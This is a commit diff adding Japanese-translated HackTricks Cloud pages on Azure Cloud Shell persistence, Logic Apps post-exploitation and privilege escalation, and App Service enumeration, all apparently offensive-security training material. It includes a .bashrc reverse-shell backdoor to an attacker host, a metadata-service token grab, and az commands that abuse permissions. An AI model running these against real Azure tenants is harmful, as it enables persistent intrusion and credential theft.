mirror of
https://github.com/HackTricks-wiki/hacktricks-cloud.git
synced 2025-12-31 15:05:44 -08:00
Translated ['src/pentesting-cloud/azure-security/az-persistence/az-cloud
This commit is contained in:
@@ -0,0 +1,56 @@
|
||||
# Az - Cloud Shell Persistence
|
||||
|
||||
{% hint style="success" %}
|
||||
Learn & practice AWS Hacking:<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
## Cloud Shell Persistence
|
||||
|
||||
Azure Cloud Shellは、永続ストレージと自動認証を備えたAzureリソースを管理するためのコマンドラインアクセスを提供します。攻撃者は、永続的なホームディレクトリにバックドアを配置することでこれを悪用できます:
|
||||
|
||||
* **Persistent Storage**: Azure Cloud ShellのホームディレクトリはAzureファイル共有にマウントされており、セッションが終了してもそのまま保持されます。
|
||||
* **Startup Scripts**: .bashrcのようなファイルは各セッションの開始時に自動的に実行され、クラウドシェルが起動する際に永続的な実行を可能にします。
|
||||
|
||||
Example backdoor in .bashrc:
|
||||
|
||||
{% code overflow="wrap" %}
|
||||
```bash
|
||||
echo '(nohup /usr/bin/env -i /bin/bash 2>/dev/null -norc -noprofile >& /dev/tcp/$CCSERVER/443 0>&1 &)' >> $HOME/.bashrc
|
||||
```
|
||||
{% endcode %}
|
||||
|
||||
このバックドアは、ユーザーによってクラウドシェルが終了した後でも、5分間コマンドを実行できます。
|
||||
|
||||
さらに、インスタンスの詳細とトークンのためにAzureのメタデータサービスをクエリします:
|
||||
{% code overflow="wrap" %}
|
||||
```bash
|
||||
curl -H "Metadata:true" "http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://management.azure.com/" -s
|
||||
```
|
||||
{% endcode %}
|
||||
|
||||
|
||||
{% hint style="success" %}
|
||||
AWSハッキングを学び、実践する:<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
|
||||
GCPハッキングを学び、実践する:<img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary>HackTricksをサポートする</summary>
|
||||
|
||||
* [**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)を確認してください!
|
||||
* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**Telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**をフォローしてください。**
|
||||
* **[**HackTricks**](https://github.com/carlospolop/hacktricks)および[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出してハッキングトリックを共有してください。**
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
@@ -0,0 +1,181 @@
|
||||
# Az - Logic Apps Post Exploitation
|
||||
|
||||
{% hint style="success" %}
|
||||
AWSハッキングを学び、実践する:<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
|
||||
GCPハッキングを学び、実践する:<img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary>HackTricksをサポートする</summary>
|
||||
|
||||
* [**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)を確認してください!
|
||||
* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**Telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**をフォローしてください。**
|
||||
* **[**HackTricks**](https://github.com/carlospolop/hacktricks)および[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを送信してハッキングトリックを共有してください。**
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
## Logic Apps Database Post Exploitation
|
||||
Logic Appsに関する詳細情報は、以下を確認してください:
|
||||
|
||||
{% content-ref url="../az-services/az-logic-apps.md" %}
|
||||
[az-logic-apps.md](../az-services/az-logic-apps.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
### "Microsoft.Logic/workflows/read", "Microsoft.Logic/workflows/write" && "Microsoft.ManagedIdentity/userAssignedIdentities/assign/action"
|
||||
これらの権限を持つことで、Logic Appのワークフローを変更し、そのアイデンティティを管理できます。具体的には、システム割り当ておよびユーザー割り当てのマネージドアイデンティティをワークフローに割り当てたり、削除したりすることができ、これによりLogic Appは明示的な資格情報なしで他のAzureリソースに認証し、アクセスすることができます。
|
||||
|
||||
{% code overflow="wrap" %}
|
||||
```bash
|
||||
az logic workflow identity remove/assign \
|
||||
--name <workflow_name> \
|
||||
--resource-group <resource_group_name> \
|
||||
--system-assigned true \
|
||||
--user-assigned "/subscriptions/<subscription_id>/resourceGroups/<resource_group>/providers/Microsoft.ManagedIdentity/userAssignedIdentities/<identity_name>"
|
||||
```
|
||||
{% endcode %}
|
||||
|
||||
### "Microsoft.Web/sites/read", "Microsoft.Web/sites/write"
|
||||
これらの権限を持つことで、App Service PlanにホストされているLogic Appsを作成または更新できます。これには、HTTPS強制の有効化または無効化などの設定の変更が含まれます。
|
||||
|
||||
{% code overflow="wrap" %}
|
||||
```bash
|
||||
az logicapp update \
|
||||
--resource-group <resource_group_name> \
|
||||
--name <logic_app_name> \
|
||||
--set httpsOnly=false
|
||||
```
|
||||
{% endcode %}
|
||||
|
||||
### "Microsoft.Web/sites/stop/action", "Microsoft.Web/sites/start/action" || "Microsoft.Web/sites/restart/action"
|
||||
この権限を持つことで、App Service Plan上にホストされているLogic Appsを含むWebアプリを開始/停止/再起動できます。このアクションは、以前に停止されたアプリがオンラインに戻り、その機能を再開することを保証します。これにより、ワークフローが中断されたり、意図しない操作がトリガーされたり、Logic Appsが予期せずに開始、停止、または再起動されることによってダウンタイムが発生する可能性があります。
|
||||
|
||||
{% code overflow="wrap" %}
|
||||
```bash
|
||||
az webapp start/stop/restart \
|
||||
--name <logic_app_name> \
|
||||
--resource-group <resource_group_name>
|
||||
```
|
||||
{% endcode %}
|
||||
|
||||
|
||||
### "Microsoft.Web/sites/config/list/action", "Microsoft.Web/sites/read" && "Microsoft.Web/sites/config/write"
|
||||
|
||||
この権限を持つことで、App Service Plan上でホストされているLogic Appsを含むWebアプリの設定を構成または変更できます。これにより、アプリ設定、接続文字列、認証設定などの変更が可能になります。
|
||||
|
||||
{% code overflow="wrap" %}
|
||||
```bash
|
||||
az logicapp config appsettings set \
|
||||
--name <logic_app_name> \
|
||||
--resource-group <resource_group_name> \
|
||||
--settings "<key>=<value>"
|
||||
```
|
||||
{% endcode %}
|
||||
|
||||
### "Microsoft.Logic/integrationAccounts/write"
|
||||
この権限を持つことで、Azure Logic Appsの統合アカウントを作成、更新、または削除できます。これには、マップ、スキーマ、パートナー、契約などの統合アカウントレベルの設定の管理が含まれます。
|
||||
|
||||
{% code overflow="wrap" %}
|
||||
```bash
|
||||
az logic integration-account create \
|
||||
--resource-group <resource_group_name> \
|
||||
--name <integration_account_name> \
|
||||
--location <location> \
|
||||
--sku <Standard|Free> \
|
||||
--state Enabled
|
||||
```
|
||||
{% endcode %}
|
||||
|
||||
### "Microsoft.Resources/subscriptions/resourcegroups/read" && "Microsoft.Logic/integrationAccounts/batchConfigurations/write"
|
||||
|
||||
この権限を持つことで、Azure Logic Appsの統合アカウント内でバッチ構成を作成または変更できます。バッチ構成は、Logic Appsがバッチ処理のために受信メッセージをどのように処理し、グループ化するかを定義します。
|
||||
|
||||
{% code overflow="wrap" %}
|
||||
```bash
|
||||
az logic integration-account batch-configuration create \
|
||||
--resource-group <resource_group_name> \
|
||||
--integration-account-name <integration_account_name> \
|
||||
--name <batch_configuration_name> \
|
||||
--release-criteria '{
|
||||
"messageCount": 100,
|
||||
"batchSize": 1048576,
|
||||
}'
|
||||
```
|
||||
{% endcode %}
|
||||
|
||||
### "Microsoft.Resources/subscriptions/resourcegroups/read" && "Microsoft.Logic/integrationAccounts/maps/write"
|
||||
この権限を持つことで、Azure Logic Appsの統合アカウント内でマップを作成または変更できます。マップは、異なるシステムやアプリケーション間でのシームレスな統合を可能にするために、データをある形式から別の形式に変換するために使用されます。
|
||||
|
||||
{% code overflow="wrap" %}
|
||||
```bash
|
||||
az logic integration-account map create \
|
||||
--resource-group <resource_group_name> \
|
||||
--integration-account-name <integration_account_name> \
|
||||
--name <map_name> \
|
||||
--map-type <Xslt|Xslt20|Xslt30> \
|
||||
--content-type application/xml \
|
||||
--map-content map-content.xslt
|
||||
```
|
||||
{% endcode %}
|
||||
|
||||
### "Microsoft.Resources/subscriptions/resourcegroups/read" && "Microsoft.Logic/integrationAccounts/partners/write"
|
||||
この権限を持つことで、Azure Logic Apps 統合アカウント内のパートナーを作成または変更できます。パートナーは、ビジネス間 (B2B) ワークフローに参加するエンティティまたはシステムを表します。
|
||||
|
||||
{% code overflow="wrap" %}
|
||||
```bash
|
||||
az logic integration-account partner create \
|
||||
--resource-group <resource_group_name> \
|
||||
--integration-account-name <integration_account_name> \
|
||||
--name <partner_name> \
|
||||
--partner-type <partner-type> \
|
||||
--content '{
|
||||
"b2b": {
|
||||
"businessIdentities": [
|
||||
{
|
||||
"qualifier": "ZZ",
|
||||
"value": "TradingPartner1"
|
||||
}
|
||||
]
|
||||
}
|
||||
}'
|
||||
```
|
||||
{% endcode %}
|
||||
|
||||
### "Microsoft.Resources/subscriptions/resourcegroups/read" && "Microsoft.Logic/integrationAccounts/sessions/write"
|
||||
この権限を持つことで、Azure Logic Appsの統合アカウント内でセッションを作成または変更できます。セッションはB2Bワークフローでメッセージをグループ化し、定義された期間にわたる関連トランザクションを追跡するために使用されます。
|
||||
|
||||
{% code overflow="wrap" %}
|
||||
```bash
|
||||
az logic integration-account session create \
|
||||
--resource-group <resource_group_name> \
|
||||
--integration-account-name <integration_account_name> \
|
||||
--name <session_name> \
|
||||
--content '{
|
||||
"properties": {
|
||||
"sessionId": "session123",
|
||||
"data": {
|
||||
"key1": "value1",
|
||||
"key2": "value2"
|
||||
}
|
||||
}
|
||||
}'
|
||||
```
|
||||
{% endcode %}
|
||||
|
||||
### "*/delete"
|
||||
この権限を持つと、Azure Logic Apps に関連するリソースを削除できます。
|
||||
|
||||
{% hint style="success" %}
|
||||
AWSハッキングを学び、実践する:<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
|
||||
GCPハッキングを学び、実践する:<img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary>HackTricksをサポートする</summary>
|
||||
|
||||
* [**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)を確認してください!
|
||||
* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**Telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**をフォローしてください。**
|
||||
* **[**HackTricks**](https://github.com/carlospolop/hacktricks)および[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを送信してハッキングトリックを共有してください。**
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
@@ -0,0 +1,77 @@
|
||||
# Az - Logic Apps Privesc
|
||||
|
||||
{% hint style="success" %}
|
||||
AWSハッキングを学び、実践する:<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
|
||||
GCPハッキングを学び、実践する:<img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary>HackTricksをサポートする</summary>
|
||||
|
||||
* [**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)を確認してください!
|
||||
* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**Telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**をフォローしてください。**
|
||||
* **ハッキングのトリックを共有するには、[**HackTricks**](https://github.com/carlospolop/hacktricks)と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを送信してください。**
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
## Logic Apps Privesc
|
||||
SQL Databaseに関する詳細情報は、以下を確認してください:
|
||||
|
||||
{% content-ref url="../az-services/az-logic-apps.md" %}
|
||||
[az-logic-apps.md](../az-services/az-logic-apps.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
### ("Microsoft.Resources/subscriptions/resourcegroups/read", "Microsoft.Logic/workflows/read", "Microsoft.Logic/workflows/write" && "Microsoft.ManagedIdentity/userAssignedIdentities/assign/action") && ("Microsoft.Logic/workflows/triggers/run/action")
|
||||
|
||||
この権限を持つことで、Azure Logic Appsワークフローを作成または更新できます。ワークフローは、さまざまなシステムやサービス間の自動化されたプロセスと統合を定義します。
|
||||
|
||||
{% code overflow="wrap" %}
|
||||
```bash
|
||||
az logic workflow create \
|
||||
--resource-group <resource_group_name> \
|
||||
--name <workflow_name> \
|
||||
--definition <workflow_definition_file.json> \
|
||||
--location <location>
|
||||
|
||||
az logic workflow update \
|
||||
--name my-new-workflow \
|
||||
--resource-group logicappgroup \
|
||||
--definition <workflow_definition_file.json>
|
||||
```
|
||||
{% endcode %}
|
||||
|
||||
変更後は、次のコマンドで実行できます:
|
||||
```bash
|
||||
az rest \
|
||||
--method post \
|
||||
--uri "https://management.azure.com/subscriptions/{subscriptionId}/resourcegroups/{resourceGroupName}/providers/Microsoft.Logic/workflows/{logicAppName}/triggers/{triggerName}/run?api-version=2016-10-01" \
|
||||
--body '{}' \
|
||||
--headers "Content-Type=application/json"
|
||||
```
|
||||
### ("Microsoft.Web/sites/read", "Microsoft.Web/sites/basicPublishingCredentialsPolicies/read", "Microsoft.Web/sites/write", "Microsoft.Web/sites/config/list/action") && ("Microsoft.Web/sites/start/action")
|
||||
これらの権限を持つことで、ZIPファイルデプロイメントを使用してLogic Appワークフローをデプロイできます。これらの権限は、アプリの詳細を読み取ったり、公開資格情報にアクセスしたり、変更を加えたり、アプリの構成を一覧表示したりするアクションを可能にします。スタート権限とともに、希望するコンテンツで新しいLogic Appを更新およびデプロイできます。
|
||||
|
||||
{% code overflow="wrap" %}
|
||||
```bash
|
||||
az logicapp deployment source config-zip \
|
||||
--name <logic_app_name> \
|
||||
--resource-group <resource_group_name> \
|
||||
--src <path_to_zip_file>
|
||||
```
|
||||
{% endcode %}
|
||||
|
||||
{% hint style="success" %}
|
||||
AWSハッキングを学び、実践する:<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
|
||||
GCPハッキングを学び、実践する:<img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary>HackTricksをサポートする</summary>
|
||||
|
||||
* [**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)を確認してください!
|
||||
* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**Telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**をフォローしてください。**
|
||||
* **[**HackTricks**](https://github.com/carlospolop/hacktricks)および[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを送信してハッキングトリックを共有してください。**
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
@@ -4,21 +4,21 @@
|
||||
|
||||
## App Service Basic Information
|
||||
|
||||
Azure App Servicesは、開発者が**ウェブアプリケーション、モバイルアプリのバックエンド、APIをシームレスに構築、展開、スケール**できるようにします。複数のプログラミング言語をサポートし、機能と管理を強化するためにさまざまなAzureツールやサービスと統合されています。
|
||||
Azure App Servicesは、開発者が**ウェブアプリケーション、モバイルアプリのバックエンド、およびAPIをシームレスに構築、展開、スケール**できるようにします。複数のプログラミング言語をサポートし、機能と管理を強化するためにさまざまなAzureツールやサービスと統合されています。
|
||||
|
||||
各アプリはサンドボックス内で実行されますが、隔離はApp Serviceプランに依存します:
|
||||
|
||||
- FreeおよびSharedティアのアプリは**共有VM**上で実行されます。
|
||||
- StandardおよびPremiumティアのアプリは**同じApp Serviceプラン内のアプリのみが共有する専用VM**上で実行されます。
|
||||
- Isolatedティアは**専用の仮想ネットワーク上の専用VM**で実行され、アプリの隔離が向上します。
|
||||
- Isolatedティアは**専用の仮想ネットワーク上の専用VM**で実行され、アプリの隔離が改善されます。
|
||||
|
||||
> [!WARNING]
|
||||
> これらの隔離は、他の一般的な**ウェブ脆弱性**(ファイルアップロードやインジェクションなど)を**防ぐものではありません**。また、**管理アイデンティティ**が使用される場合、それに**権限を昇格させる**ことができる可能性があります。
|
||||
|
||||
アプリにはいくつかの興味深い設定があります:
|
||||
|
||||
- **Always On**: アプリが常に実行されることを保証します。これが有効でない場合、アプリは20分間の非アクティブ後に停止し、リクエストが受信されると再起動します。
|
||||
- ウェブジョブが継続的に実行される必要がある場合、アプリが停止するとウェブジョブも停止します。
|
||||
- **Always On**: アプリが常に実行されることを保証します。これが有効でない場合、アプリは20分間の非アクティブ状態の後に停止し、リクエストが受信されると再起動します。
|
||||
- ウェブジョブが継続的に実行される必要がある場合、アプリが停止するとウェブジョブも停止するため、これは重要です。
|
||||
- **SSH**: 有効にすると、十分な権限を持つユーザーがSSHを使用してアプリに接続できます。
|
||||
- **デバッグ**: 有効にすると、十分な権限を持つユーザーがアプリをデバッグできます。ただし、これは48時間ごとに自動的に無効になります。
|
||||
- **Web App + Database**: ウェブコンソールを使用してデータベースを持つアプリを作成できます。この場合、使用するデータベース(SQLAzure、PostgreSQL、MySQL、MongoDB)を選択でき、Azure Cache for Redisを作成することもできます。
|
||||
@@ -28,9 +28,9 @@ Azure App Servicesは、開発者が**ウェブアプリケーション、モバ
|
||||
|
||||
## Basic Authentication
|
||||
|
||||
ウェブアプリ(通常はAzure関数)を作成する際に、**Basic Authenticationを有効にするかどうかを指定**できます(デフォルトでは無効)。これは基本的に、アプリケーションのために**SCM(ソースコントロールマネージャー)とFTP(ファイル転送プロトコル)**を有効にするもので、これらの技術を使用してアプリケーションをデプロイできるようになります。
|
||||
ウェブアプリ(通常はAzure関数)を作成する際に、**Basic Authenticationを有効にするかどうかを指定できます**(デフォルトでは無効)。これは基本的に、アプリケーションのために**SCM(ソースコントロールマネージャー)およびFTP(ファイル転送プロトコル)**を有効にすることを意味し、これらの技術を使用してアプリケーションをデプロイできるようになります。
|
||||
|
||||
SCMおよびFTPサーバーにアクセスするには、**ユーザー名とパスワード**が必要です。したがって、AzureはこれらのプラットフォームへのURLと資格情報を取得するための**APIを提供**しています。
|
||||
SCMおよびFTPサーバーにアクセスするには、**ユーザー名とパスワード**が必要です。したがって、AzureはこれらのプラットフォームへのURLと資格情報を取得するための**APIを提供します**。
|
||||
|
||||
**FTPサーバーには特別な魔法はありません**。有効なURL、ユーザー名、パスワードがあれば、接続してアプリ環境に対する読み取りおよび書き込み権限を取得できます。
|
||||
|
||||
@@ -39,7 +39,7 @@ SCM
|
||||
|
||||
### Kudu
|
||||
|
||||
Kuduは、**SCMとアプリサービスを管理するためのウェブおよびAPIインターフェース**の両方を管理し、Gitベースのデプロイメント、リモートデバッグ、ファイル管理機能を提供するプラットフォームです。ウェブアプリで定義されたSCM URLを通じてアクセスできます。
|
||||
Kuduは、**SCMとアプリサービスを管理するためのウェブおよびAPIインターフェースの両方を管理するプラットフォーム**であり、Gitベースのデプロイメント、リモートデバッグ、およびファイル管理機能を提供します。ウェブアプリで定義されたSCM URLを通じてアクセスできます。
|
||||
|
||||
App ServicesとFunction Appsで使用されるKuduのバージョンは異なり、Function Appsのバージョンははるかに制限されています。
|
||||
|
||||
@@ -49,10 +49,10 @@ Kuduで見つけることができるいくつかの興味深いエンドポイ
|
||||
- この環境は**トークンを取得するためのメタデータサービスにアクセスできません**。
|
||||
- `/webssh/host`: アプリが実行されているコンテナ内に接続できるウェブベースのSSHクライアントです。
|
||||
- この環境は、割り当てられた管理アイデンティティからトークンを取得するための**メタデータサービスにアクセスできます**。
|
||||
- `/Env`: システム、アプリ設定、環境変数、接続文字列、HTTPヘッダーに関する情報を取得します。
|
||||
- `/Env`: システム、アプリ設定、環境変数、接続文字列、およびHTTPヘッダーに関する情報を取得します。
|
||||
- `/wwwroot/`: ウェブアプリのルートディレクトリです。ここからすべてのファイルをダウンロードできます。
|
||||
|
||||
さらに、Kuduは以前は[https://github.com/projectkudu/kudu](https://github.com/projectkudu/kudu)でオープンソースでしたが、プロジェクトは非推奨となり、Azureの現在のKuduの動作と古いものを比較すると、**すでにいくつかのことが変更されている**ことがわかります。
|
||||
さらに、Kuduは以前は[https://github.com/projectkudu/kudu](https://github.com/projectkudu/kudu)でオープンソースでしたが、プロジェクトは非推奨となり、Azureの現在のKuduの動作と古いKuduを比較すると、**すでにいくつかのことが変更されている**ことがわかります。
|
||||
|
||||
## Sources
|
||||
|
||||
@@ -70,7 +70,31 @@ App Servicesは、デフォルトでコードをzipファイルとしてアッ
|
||||
|
||||
## Webjobs
|
||||
|
||||
Azure WebJobsは、**Azure App Service環境で実行されるバックグラウンドタスク**です。これにより、開発者はウェブアプリケーションと並行してスクリプトやプログラムを実行でき、ファイル処理、データ処理、スケジュールされたタ
|
||||
Azure WebJobsは、**Azure App Service環境で実行されるバックグラウンドタスク**です。これにより、開発者はウェブアプリケーションと並行してスクリプトやプログラムを実行でき、ファイル処理、データ処理、またはスケジュールされたタスクなどの非同期または時間集約的な操作を簡単に処理できます。
|
||||
Webジョブには2種類あります:
|
||||
- **継続的**: 無限にループで実行され、作成されるとすぐにトリガーされます。常に処理が必要なタスクに最適です。ただし、Always Onが無効になっていて、過去20分間リクエストを受信していない場合、アプリが停止するとウェブジョブも停止します。
|
||||
- **トリガー**: オンデマンドまたはスケジュールに基づいて実行されます。バッチデータの更新やメンテナンスルーチンなどの定期的なタスクに最適です。
|
||||
|
||||
Webジョブは、環境内で**コードを実行**し、接続された管理アイデンティティに**権限を昇格させる**ために使用できるため、攻撃者の視点から非常に興味深いです。
|
||||
|
||||
さらに、Webジョブによって生成された**ログ**を確認することは常に興味深いです。これには**機密情報**が含まれている可能性があります。
|
||||
|
||||
## Slots
|
||||
|
||||
Azure App Service Slotsは、**同じApp Serviceに異なるバージョンのアプリケーションをデプロイするために使用されます**。これにより、開発者は新しい機能や変更を本番環境にデプロイする前に別の環境でテストできます。
|
||||
|
||||
さらに、特定のスロットに**トラフィックの割合をルーティング**することが可能で、これはA/Bテストや**バックドア目的**に便利です。
|
||||
|
||||
## Azure Function Apps
|
||||
|
||||
基本的に**Azure Function AppsはAzure App Serviceのサブセット**であり、ウェブコンソールに表示されます。ウェブコンソールにアクセスしてすべてのアプリサービスをリスト表示するか、az cliで`az webapp list`を実行すると、**Function Appsもそこにリストされているのが確認できます**。
|
||||
|
||||
したがって、両方のサービスは実際にはほとんど**同じ設定、機能、およびオプションをaz cliで持っています**が、アプリ設定のデフォルト値やFunction Appsでのストレージアカウントの使用など、少し異なる設定がされている場合があります。
|
||||
|
||||
## Enumeration
|
||||
|
||||
{{#tabs }}
|
||||
{{#tab name="az" }}
|
||||
```bash
|
||||
# List webapps
|
||||
az webapp list
|
||||
@@ -157,10 +181,55 @@ az webapp hybrid-connections list --name <name> --resource-group <res-group>
|
||||
|
||||
{{#tab name="Az Powershell" }}
|
||||
```bash
|
||||
Get-Command -Module Az.Websites
|
||||
|
||||
# Get App Services and Function Apps
|
||||
Get-AzWebApp
|
||||
# Get only App Services
|
||||
Get-AzWebApp | ?{$_.Kind -notmatch "functionapp"}
|
||||
|
||||
# Retrieves details of a specific App Service Environment in the specified resource group.
|
||||
Get-AzAppServiceEnvironment -ResourceGroupName <ResourceGroupName> -Name <Name>
|
||||
# Retrieves the access restriction configuration for a specified Web App.
|
||||
Get-AzWebAppAccessRestrictionConfig -ResourceGroupName <ResourceGroupName> -Name <Name>
|
||||
# Retrieves the SSL certificates for a specified resource group.
|
||||
Get-AzWebAppCertificate -ResourceGroupName <ResourceGroupName>
|
||||
# Retrieves the continuous deployment URL for a containerized Web App.
|
||||
Get-AzWebAppContainerContinuousDeploymentUrl -ResourceGroupName <ResourceGroupName> -Name <Name>
|
||||
# Retrieves the list of continuous WebJobs for a specified Web App.
|
||||
Get-AzWebAppWebJob -ResourceGroupName <ResourceGroupName> -AppName <AppName>
|
||||
# Retrieves the list of triggered WebJobs for a specified Web App.
|
||||
Get-AzWebAppTriggeredWebJob -ResourceGroupName <ResourceGroupName> -AppName <AppName>
|
||||
|
||||
# Retrieves details of a deleted Web App in the specified resource group.
|
||||
Get-AzDeletedWebApp -ResourceGroupName <ResourceGroupName> -Name <Name>
|
||||
# Retrieves a list of snapshots for a specified Web App.
|
||||
Get-AzWebAppSnapshot -ResourceGroupName <ResourceGroupName> -Name <Name>
|
||||
# Retrieves the history of a specific triggered WebJob for a Web App.
|
||||
Get-AzWebAppTriggeredWebJobHistory -ResourceGroupName <ResourceGroupName> -AppName <AppName> -Name <Name>
|
||||
|
||||
# Retrieves information about deployment slots for a specified Web App.
|
||||
Get-AzWebAppSlot -ResourceGroupName <ResourceGroupName> -Name <Name>
|
||||
# Retrieves the continuous WebJobs for a specific deployment slot of a Web App.
|
||||
Get-AzWebAppSlotWebJob -ResourceGroupName <ResourceGroupName> -AppName <AppName> -SlotName <SlotName>
|
||||
# Retrieves the triggered WebJobs for a specific deployment slot of a Web App.
|
||||
Get-AzWebAppSlotTriggeredWebJob -ResourceGroupName <ResourceGroupName> -AppName <AppName> -SlotName <SlotName>
|
||||
# Retrieves the history of a specific triggered WebJob for a deployment slot of a Web App.
|
||||
Get-AzWebAppSlotTriggeredWebJobHistory -ResourceGroupName <ResourceGroupName> -AppName <AppName> -SlotName <SlotName> -Name <Name>
|
||||
# Retrieves the continuous WebJobs for a Web App.
|
||||
Get-AzWebAppContinuousWebJob -ResourceGroupName <ResourceGroupName> -AppName <AppName>
|
||||
# Retrieves the continuous WebJobs for a specific deployment slot of a Web App.
|
||||
Get-AzWebAppSlotContinuousWebJob -ResourceGroupName <ResourceGroupName> -AppName <AppName> -SlotName <SlotName>
|
||||
|
||||
# Retrieves the traffic routing rules for a Web App.
|
||||
Get-AzWebAppTrafficRouting -ResourceGroupName <ResourceGroupName> -WebAppName <WebAppName> -RuleName <RuleName>
|
||||
|
||||
# Retrieves details of a specific backup for a Web App.
|
||||
Get-AzWebAppBackup -ResourceGroupName <ResourceGroupName> -Name <Name> -BackupId <BackupId>
|
||||
# Retrieves the backup configuration for a Web App.
|
||||
Get-AzWebAppBackupConfiguration -ResourceGroupName <ResourceGroupName> -Name <Name>
|
||||
# Retrieves the list of all backups for a Web App.
|
||||
Get-AzWebAppBackupList -ResourceGroupName <ResourceGroupName> -Name <Name>
|
||||
```
|
||||
{{#endtab }}
|
||||
|
||||
@@ -201,7 +270,7 @@ done
|
||||
../az-privilege-escalation/az-app-services-privesc.md
|
||||
{{#endref}}
|
||||
|
||||
## Webアプリを生成する例
|
||||
## Web Appsを生成する例
|
||||
